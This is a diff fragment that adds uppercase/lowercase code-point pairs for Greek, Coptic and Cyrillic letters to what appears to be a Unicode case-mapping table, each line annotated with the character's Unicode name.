+ ["\u03E0", "\u03E1"], /* GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI) */
+ ["\u03E0", "\u03E1"], /* GREEK SMALL LETTER SAMPI */
+ ["\u03E2", "\u03E3"], /* COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI) */
+ ["\u03E2", "\u03E3"], /* COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI) */
+ ["\u03E4", "\u03E5"], /* COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI) */
+ ["\u03E4", "\u03E5"], /* COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI) */
+ ["\u03E6", "\u03E7"], /* COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI) */
+ ["\u03E6", "\u03E7"], /* COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI) */
+ ["\u03E8", "\u03E9"], /* COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI) */
+ ["\u03E8", "\u03E9"], /* COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI) */
+ ["\u03EA", "\u03EB"], /* COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA) */
+ ["\u03EA", "\u03EB"], /* COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA) */
+ ["\u03EC", "\u03ED"], /* COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA) */
+ ["\u03EC", "\u03ED"], /* COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA) */
+ ["\u03EE", "\u03EF"], /* COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI) */
+ ["\u03EE", "\u03EF"], /* COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI) */
+ ["\u039A", "\u03F0"], /* GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA) */
+ ["\u03A1", "\u03F1"], /* GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO) */
+ ["\u03F9", "\u03F2"], /* GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA) */
+ ["\u037F", "\u03F3"], /* GREEK LETTER YOT */
+ ["\u03F4", "\u03B8"], /* GREEK CAPITAL THETA SYMBOL */
+ ["\u0395", "\u03F5"], /* GREEK LUNATE EPSILON SYMBOL */
+ ["\u03F6", "\u03F6"], /* GREEK REVERSED LUNATE EPSILON SYMBOL */
+ ["\u03F7", "\u03F8"], /* GREEK CAPITAL LETTER SHO */
+ ["\u03F7", "\u03F8"], /* GREEK SMALL LETTER SHO */
+ ["\u03F9", "\u03F2"], /* GREEK CAPITAL LUNATE SIGMA SYMBOL */
+ ["\u03FA", "\u03FB"], /* GREEK CAPITAL LETTER SAN */
+ ["\u03FA", "\u03FB"], /* GREEK SMALL LETTER SAN */
+ ["\u03FC", "\u03FC"], /* GREEK RHO WITH STROKE SYMBOL */
+ ["\u03FD", "\u037B"], /* GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL */
+ ["\u03FE", "\u037C"], /* GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL */
+ ["\u03FF", "\u037D"], /* GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ ["\u0400", "\u0450"], /* CYRILLIC CAPITAL LETTER IE WITH GRAVE */
+ ["\u0401", "\u0451"], /* CYRILLIC CAPITAL LETTER IO */
+ ["\u0402", "\u0452"], /* CYRILLIC CAPITAL LETTER DJE */
+ ["\u0403", "\u0453"], /* CYRILLIC CAPITAL LETTER GJE */
+ ["\u0404", "\u0454"], /* CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E) */
+ ["\u0405", "\u0455"], /* CYRILLIC CAPITAL LETTER DZE */
+ ["\u0406", "\u0456"], /* CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I) */
+ ["\u0407", "\u0457"], /* CYRILLIC CAPITAL LETTER YI */
+ ["\u0408", "\u0458"], /* CYRILLIC CAPITAL LETTER JE */
+ ["\u0409", "\u0459"], /* CYRILLIC CAPITAL LETTER LJE */
+ ["\u040A", "\u045A"], /* CYRILLIC CAPITAL LETTER NJE */
+ ["\u040B", "\u045B"], /* CYRILLIC CAPITAL LETTER TSHE */
+ ["\u040C", "\u045C"], /* CYRILLIC CAPITAL LETTER KJE */
+ ["\u040D", "\u045D"], /* CYRILLIC CAPITAL LETTER I WITH GRAVE */
+ ["\u040E", "\u045E"], /* CYRILLIC CAPITAL LETTER SHORT U */
+ ["\u040F", "\u045F"], /* CYRILLIC CAPITAL LETTER DZHE */
+ ["\u0410", "\u0430"], /* CYRILLIC CAPITAL LETTER A */
+ ["\u0411", "\u0431"], /* CYRILLIC CAPITAL LETTER BE */
+ ["\u0412", "\u0432"], /* CYRILLIC CAPITAL LETTER VE */
+ ["\u0413", "\u0433"], /* CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE) */
+ ["\u0414", "\u0434"], /* CYRILLIC CAPITAL LETTER DE */
+ ["\u0415", "\u0435"], /* CYRILLIC CAPITAL LETTER IE */
+ ["\u0416", "\u0436"], /* CYRILLIC CAPITAL LETTER ZHE */
+ ["\u0417", "\u0437"], /* CYRILLIC CAPITAL LETTER ZE */
+ ["\u0418", "\u0438"], /* CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II) */
+ ["\u0419", "\u0439"], /* CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II) */
+ ["\u041A", "\u043A"], /* CYRILLIC CAPITAL LETTER KA */
+ ["\u041B", "\u043B"], /* CYRILLIC CAPITAL LETTER EL */
+ ["\u041C", "\u043C"], /* CYRILLIC CAPITAL LETTER EM */
+ ["\u041D", "\u043D"], /* CYRILLIC CAPITAL LETTER EN */
+ ["\u041E", "\u043E"], /* CYRILLIC CAPITAL LETTER O */
+ ["\u041F", "\u043F"], /* CYRILLIC CAPITAL LETTER PE */
+ ["\u0420", "\u0440"], /* CYRILLIC CAPITAL LETTER ER */
+ ["\u0421", "\u0441"], /* CYRILLIC CAPITAL LETTER ES */
+ ["\u0422", "\u0442"], /* CYRILLIC CAPITAL LETTER TE */
+ ["\u0423", "\u0443"], /* CYRILLIC CAPITAL LETTER U */
+ ["\u0424", "\u0444"], /* CYRILLIC CAPITAL LETTER EF */
+ ["\u0425", "\u0445"], /* CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA) */
+ ["\u0426", "\u0446"], /* CYRILLIC CAPITAL LETTER TSE */
+ ["\u0427", "\u0447"], /* CYRILLIC CAPITAL LETTER CHE */
+ ["\u0428", "\u0448"], /* CYRILLIC CAPITAL LETTER SHA */
+ ["\u0429", "\u0449"], /* CYRILLIC CAPITAL LETTER SHCHA */
+ ["\u042A", "\u044A"], /* CYRILLIC CAPITAL LETTER HARD SIGN */
+ ["\u042B", "\u044B"], /* CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI) */
+ ["\u042C", "\u044C"], /* CYRILLIC CAPITAL LETTER SOFT SIGN */
+ ["\u042D", "\u044D"], /* CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E) */
+ ["\u042E", "\u044E"], /* CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU) */
+ ["\u042F", "\u044F"], /* CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA) */
+ ["\u0410", "\u0430"], /* CYRILLIC SMALL LETTER A */
+ ["\u0411", "\u0431"], /* CYRILLIC SMALL LETTER BE */
+ ["\u0412", "\u0432"], /* CYRILLIC SMALL LETTER VE */
+ ["\u0413", "\u0433"], /* CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE) */
+ ["\u0414", "\u0434"], /* CYRILLIC SMALL LETTER DE */
+ ["\u0415", "\u0435"], /* CYRILLIC SMALL LETTER IE */
+ ["\u0416", "\u0436"], /* CYRILLIC SMALL LETTER ZHE */
+ ["\u0417", "\u0437"], /* CYRILLIC SMALL LETTER ZE */
+ ["\u0418", "\u0438"], /* CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II) */
+ ["\u0419", "\u0439"], /* CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II) */
+ ["\u041A", "\u043A"], /* CYRILLIC SMALL LETTER KA */
+ ["\u041B", "\u043B"], /* CYRILLIC SMALL LETTER EL */
+ ["\u041C", "\u043C"], /* CYRILLIC SMALL LETTER EM */
+ ["\u041D", "\u043D"], /* CYRILLIC SMALL LETTER EN */
+ ["\u041E", "\u043E"], /* CYRILLIC SMALL LETTER O */
+ ["\u041F", "\u043F"], /* CYRILLIC SMALL LETTER PE */
+ ["\u0420", "\u0440"], /* CYRILLIC SMALL LETTER ER */
+ ["\u0421", "\u0441"], /* CYRILLIC SMALL LETTER ES */
+ ["\u0422", "\u0442"], /* CYRILLIC SMALL LETTER TE */
+ ["\u0423", "\u0443"], /* CYRILLIC SMALL LETTER U */
+ ["\u0424", "\u0444"], /* CYRILLIC SMALL LETTER EF */
+ ["\u0425", "\u0445"], /* CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA) */
+ ["\u0426", "\u0446"], /* CYRILLIC SMALL LETTER TSE */
+ ["\u0427", "\u0447"], /* CYRILLIC SMALL LETTER CHE */
+ ["\u0428", "\u0448"], /* CYRILLIC SMALL LETTER SHA */
+ ["\u0429", "\u0449"], /* CYRILLIC SMALL LETTER SHCHA */
+ ["\u042A", "\u044A"], /* CYRILLIC SMALL LETTER HARD SIGN */
+ ["\u042B", "\u044B"], /* CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI) */
+ ["\u042C", "\u044C"], /* CYRILLIC SMALL LETTER SOFT SIGN */
+ ["\u042D", "\u044D"], /* CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E) */
+ ["\u042E", "\u044E"], /* CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU) */
+ ["\u042F", "\u044F"], /* CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA) */
+ ["\u0400", "\u0450"], /* CYRILLIC SMALL LETTER IE WITH GRAVE */
+ ["\u0401", "\u0451"], /* CYRILLIC SMALL LETTER IO */
+ ["\u0402", "\u0452"], /* CYRILLIC SMALL LETTER DJE */
+ ["\u0403", "\u0453"], /* CYRILLIC SMALL LETTER GJE */
+ ["\u0404", "\u0454"], /* CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E) */
+ ["\u0405", "\u0455"], /* CYRILLIC SMALL LETTER DZE */
+ ["\u0406", "\u0456"], /* CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I) */
+ ["\u0407", "\u0457"], /* CYRILLIC SMALL LETTER YI */
+ ["\u0408", "\u0458"], /* CYRILLIC SMALL LETTER JE */
+ ["\u0409", "\u0459"], /* CYRILLIC SMALL LETTER LJE */
+ ["\u040A", "\u045A"], /* CYRILLIC SMALL LETTER NJE */
+ ["\u040B", "\u045B"], /* CYRILLIC SMALL LETTER TSHE */
+ ["\u040C", "\u045C"], /* CYRILLIC SMALL LETTER KJE */
+ ["\u040D", "\u045D"], /* CYRILLIC SMALL LETTER I WITH GRAVE */
+ ["\u040E", "\u045E"], /* CYRILLIC SMALL LETTER SHORT U */
+ ["\u040F", "\u045F"], /* CYRILLIC SMALL LETTER DZHE */
+ ["\u0460", "\u0461"], /* CYRILLIC CAPITAL LETTER OMEGA */
+ ["\u0460", "\u0461"], /* CYRILLIC SMALL LETTER OMEGA */
+ ["\u0462", "\u0463"], /* CYRILLIC CAPITAL LETTER YAT */
+ ["\u0462", "\u0463"], /* CYRILLIC SMALL LETTER YAT */
+ ["\u0464", "\u0465"], /* CYRILLIC CAPITAL LETTER IOTIFIED E */
+ ["\u0464", "\u0465"], /* CYRILLIC SMALL LETTER IOTIFIED E */
+ ["\u0466", "\u0467"], /* CYRILLIC CAPITAL LETTER LITTLE YUS */
+ ["\u0466", "\u0467"], /* CYRILLIC SMALL LETTER LITTLE YUS */
+ ["\u0468", "\u0469"], /* CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS */
+ ["\u0468", "\u0469"], /* CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS */
+ ["\u046A", "\u046B"], /* CYRILLIC CAPITAL LETTER BIG YUS */
+ ["\u046A", "\u046B"], /* CYRILLIC SMALL LETTER BIG YUS */
+ ["\u046C", "\u046D"], /* CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS */
+ ["\u046C", "\u046D"], /* CYRILLIC SMALL LETTER IOTIFIED BIG YUS */
+ ["\u046E", "\u046F"], /* CYRILLIC CAPITAL LETTER KSI */
+ ["\u046E", "\u046F"], /* CYRILLIC SMALL LETTER KSI */
+ ["\u0470", "\u0471"], /* CYRILLIC CAPITAL LETTER PSI */
+ ["\u0470", "\u0471"], /* CYRILLIC SMALL LETTER PSI */
+ ["\u0472", "\u0473"], /* CYRILLIC CAPITAL LETTER FITA */
+ ["\u0472", "\u0473"], /* CYRILLIC SMALL LETTER FITA */
+ ["\u0474", "\u0475"], /* CYRILLIC CAPITAL LETTER IZHITSA */
+ ["\u0474", "\u0475"], /* CYRILLIC SMALL LETTER IZHITSA */
+ ["\u0476", "\u0477"], /* CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE) */
+ ["\u0476", "\u0477"], /* CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE) */
+ ["\u0478", "\u0479"], /* CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH) */
+ ["\u0478", "\u0479"], /* CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH) */
+ ["\u047A", "\u047B"], /* CYRILLIC CAPITAL LETTER ROUND OMEGA */
+ ["\u047A", "\u047B"], /* CYRILLIC SMALL LETTER ROUND OMEGA */
+ ["\u047C", "\u047D"], /* CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO) */
+ ["\u047C", "\u047D"], /* CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO) */
+ ["\u047E", "\u047F"], /* CYRILLIC CAPITAL LETTER OT */
+ ["\u047E", "\u047F"], /* CYRILLIC SMALL LETTER OT */
+ ["\u0480", "\u0481"], /* CYRILLIC CAPITAL LETTER KOPPA */
+ ["\u0480", "\u0481"], /* CYRILLIC SMALL LETTER KOPPA */
+ ["\u0482", "\u0482"], /* CYRILLIC THOUSANDS SIGN */
+ ["\u0483", "\u0483"], /* COMBINING CYRILLIC TITLO (CYRILLIC NON-SPACING TITLO) */
+ ["\u0484", "\u0484"], /* COMBINING CYRILLIC PALATALIZATION (CYRILLIC NON-SPACING PALATALIZATION) */
+ ["\u0485", "\u0485"], /* COMBINING CYRILLIC DASIA PNEUMATA (CYRILLIC NON-SPACING DASIA PNEUMATA) */
+ ["\u0486", "\u0486"], /* COMBINING CYRILLIC PSILI PNEUMATA (CYRILLIC NON-SPACING PSILI PNEUMATA) */
+ ["\u0487", "\u0487"], /* COMBINING CYRILLIC POKRYTIE */
+ ["\u0488", "\u0488"], /* COMBINING CYRILLIC HUNDRED THOUSANDS SIGN */
+ ["\u0489", "\u0489"], /* COMBINING CYRILLIC MILLIONS SIGN */
+ ["\u048A", "\u048B"], /* CYRILLIC CAPITAL LETTER SHORT I WITH TAIL */
+ ["\u048A", "\u048B"], /* CYRILLIC SMALL LETTER SHORT I WITH TAIL */
+ ["\u048C", "\u048D"], /* CYRILLIC CAPITAL LETTER SEMISOFT SIGN */
+ ["\u048C", "\u048D"], /* CYRILLIC SMALL LETTER SEMISOFT SIGN */
+ ["\u048E", "\u048F"], /* CYRILLIC CAPITAL LETTER ER WITH TICK */
+ ["\u048E", "\u048F"], /* CYRILLIC SMALL LETTER ER WITH TICK */
+ ["\u0490", "\u0491"], /* CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN) */
+ ["\u0490", "\u0491"], /* CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN) */
+ ["\u0492", "\u0493"], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR) */
+ ["\u0492", "\u0493"], /* CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR) */
+ ["\u0494", "\u0495"], /* CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK) */
+ ["\u0494", "\u0495"], /* CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK) */
+ ["\u0496", "\u0497"], /* CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER) */
+ ["\u0496", "\u0497"], /* CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER) */
+ ["\u0498", "\u0499"], /* CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA) */
+ ["\u0498", "\u0499"], /* CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA) */
+ ["\u049A", "\u049B"], /* CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER) */
+ ["\u049A", "\u049B"], /* CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER) */
+ ["\u049C", "\u049D"], /* CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR) */
+ ["\u049C", "\u049D"], /* CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR) */
+ ["\u049E", "\u049F"], /* CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR) */
+ ["\u049E", "\u049F"], /* CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR) */
+ ["\u04A0", "\u04A1"], /* CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA) */
+ ["\u04A0", "\u04A1"], /* CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA) */
+ ["\u04A2", "\u04A3"], /* CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER) */
+ ["\u04A2", "\u04A3"], /* CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER) */
+ ["\u04A4", "\u04A5"], /* CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE) */
+ ["\u04A4", "\u04A5"], /* CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE) */
+ ["\u04A6", "\u04A7"], /* CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK) */
+ ["\u04A6", "\u04A7"], /* CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK) */
+ ["\u04A8", "\u04A9"], /* CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK) */
+ ["\u04A8", "\u04A9"], /* CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK) */
+ ["\u04AA", "\u04AB"], /* CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA) */
+ ["\u04AA", "\u04AB"], /* CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA) */
+ ["\u04AC", "\u04AD"], /* CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER) */
+ ["\u04AC", "\u04AD"], /* CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER) */
+ ["\u04AE", "\u04AF"], /* CYRILLIC CAPITAL LETTER STRAIGHT U */
+ ["\u04AE", "\u04AF"], /* CYRILLIC SMALL LETTER STRAIGHT U */
+ ["\u04B0", "\u04B1"], /* CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR) */
+ ["\u04B0", "\u04B1"], /* CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR) */
+ ["\u04B2", "\u04B3"], /* CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER) */
+ ["\u04B2", "\u04B3"], /* CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER) */
+ ["\u04B4", "\u04B5"], /* CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE) */
+ ["\u04B4", "\u04B5"], /* CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE) */
+ ["\u04B6", "\u04B7"], /* CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER) */
+ ["\u04B6", "\u04B7"], /* CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER) */
+ ["\u04B8", "\u04B9"], /* CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR) */
+ ["\u04B8", "\u04B9"], /* CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR) */
+ ["\u04BA", "\u04BB"], /* CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H) */
+ ["\u04BA", "\u04BB"], /* CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H) */
+ ["\u04BC", "\u04BD"], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK) */
+ ["\u04BC", "\u04BD"], /* CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK) */
+ ["\u04BE", "\u04BF"], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK) */
+ ["\u04BE", "\u04BF"], /* CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK) */
+ ["\u04C0", "\u04CF"], /* CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I) */
+ ["\u04C1", "\u04C2"], /* CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE) */
+ ["\u04C1", "\u04C2"], /* CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE) */
+ ["\u04C3", "\u04C4"], /* CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK) */
+ ["\u04C3", "\u04C4"], /* CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK) */
+ ["\u04C5", "\u04C6"], /* CYRILLIC CAPITAL LETTER EL WITH TAIL */
+ ["\u04C5", "\u04C6"], /* CYRILLIC SMALL LETTER EL WITH TAIL */
+ ["\u04C7", "\u04C8"], /* CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK) */
+ ["\u04C7", "\u04C8"], /* CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK) */
+ ["\u04C9", "\u04CA"], /* CYRILLIC CAPITAL LETTER EN WITH TAIL */
+ ["\u04C9", "\u04CA"], /* CYRILLIC SMALL LETTER EN WITH TAIL */
+ ["\u04CB", "\u04CC"], /* CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER) */
+ ["\u04CB", "\u04CC"], /* CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER) */
+ ["\u04CD", "\u04CE"], /* CYRILLIC CAPITAL LETTER EM WITH TAIL */
+ ["\u04CD", "\u04CE"], /* CYRILLIC SMALL LETTER EM WITH TAIL */
+ ["\u04C0", "\u04CF"], /* CYRILLIC SMALL LETTER PALOCHKA */
+ ["\u04D0", "\u04D1"], /* CYRILLIC CAPITAL LETTER A WITH BREVE */
+ ["\u04D0", "\u04D1"], /* CYRILLIC SMALL LETTER A WITH BREVE */
+ ["\u04D2", "\u04D3"], /* CYRILLIC CAPITAL LETTER A WITH DIAERESIS */
+ ["\u04D2", "\u04D3"], /* CYRILLIC SMALL LETTER A WITH DIAERESIS */
+ ["\u04D4", "\u04D5"], /* CYRILLIC CAPITAL LIGATURE A IE */
+ ["\u04D4", "\u04D5"], /* CYRILLIC SMALL LIGATURE A IE */
+ ["\u04D6", "\u04D7"], /* CYRILLIC CAPITAL LETTER IE WITH BREVE */
+ ["\u04D6", "\u04D7"], /* CYRILLIC SMALL LETTER IE WITH BREVE */
+ ["\u04D8", "\u04D9"], /* CYRILLIC CAPITAL LETTER SCHWA */
+ ["\u04D8", "\u04D9"], /* CYRILLIC SMALL LETTER SCHWA */
+ ["\u04DA", "\u04DB"], /* CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS */
+ ["\u04DA", "\u04DB"], /* CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS */
+ ["\u04DC", "\u04DD"], /* CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS */
+ ["\u04DC", "\u04DD"], /* CYRILLIC SMALL LETTER ZHE WITH DIAERESIS */
+ ["\u04DE", "\u04DF"], /* CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS */
+ ["\u04DE", "\u04DF"], /* CYRILLIC SMALL LETTER ZE WITH DIAERESIS */
+ ["\u04E0", "\u04E1"], /* CYRILLIC CAPITAL LETTER ABKHASIAN DZE */
+ ["\u04E0", "\u04E1"], /* CYRILLIC SMALL LETTER ABKHASIAN DZE */
+ ["\u04E2", "\u04E3"], /* CYRILLIC CAPITAL LETTER I WITH MACRON */
+ ["\u04E2", "\u04E3"], /* CYRILLIC SMALL LETTER I WITH MACRON */
+ ["\u04E4", "\u04E5"], /* CYRILLIC CAPITAL LETTER I WITH DIAERESIS */
+ ["\u04E4", "\u04E5"], /* CYRILLIC SMALL LETTER I WITH DIAERESIS */
+ ["\u04E6", "\u04E7"], /* CYRILLIC CAPITAL LETTER O WITH DIAERESIS */
+ ["\u04E6", "\u04E7"], /* CYRILLIC SMALL LETTER O WITH DIAERESIS */
+ ["\u04E8", "\u04E9"], /* CYRILLIC CAPITAL LETTER BARRED O */
+ ["\u04E8", "\u04E9"], /* CYRILLIC SMALL LETTER BARRED O */
+ ["\u04EA", "\u04EB"], /* CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS */
+ ["\u04EA", "\u04EB"], /* CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS */
+ ["\u04EC", "\u04ED"], /* CYRILLIC CAPITAL LETTER E WITH DIAERESIS */
+ ["\u04EC", "\u04ED"], /* CYRILLIC SMALL LETTER E WITH DIAERESIS */
+ ["\u04EE", "\u04EF"], /* CYRILLIC CAPITAL LETTER U WITH MACRON */
+ ["\u04EE", "\u04EF"], /* CYRILLIC SMALL LETTER U WITH MACRON */
+ ["\u04F0", "\u04F1"], /* CYRILLIC CAPITAL LETTER U WITH DIAERESIS */
+ ["\u04F0", "\u04F1"], /* CYRILLIC SMALL LETTER U WITH DIAERESIS */
+ ["\u04F2", "\u04F3"], /* CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE */
+ ["\u04F2", "\u04F3"], /* CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE */
+ ["\u04F4", "\u04F5"], /* CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS */
+ ["\u04F4", "\u04F5"], /* CYRILLIC SMALL LETTER CHE WITH DIAERESIS */
+ ["\u04F6", "\u04F7"], /* CYRILLIC CAPITAL LETTER GHE WITH DESCENDER */
+ ["\u04F6", "\u04F7"], /* CYRILLIC SMALL LETTER GHE WITH DESCENDER */
+ ["\u04F8", "\u04F9"], /* CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS */
+ ["\u04F8", "\u04F9"], /* CYRILLIC SMALL LETTER YERU WITH DIAERESIS */
+ ["\u04FA", "\u04FB"], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK */
+ ["\u04FA", "\u04FB"], /* CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK */
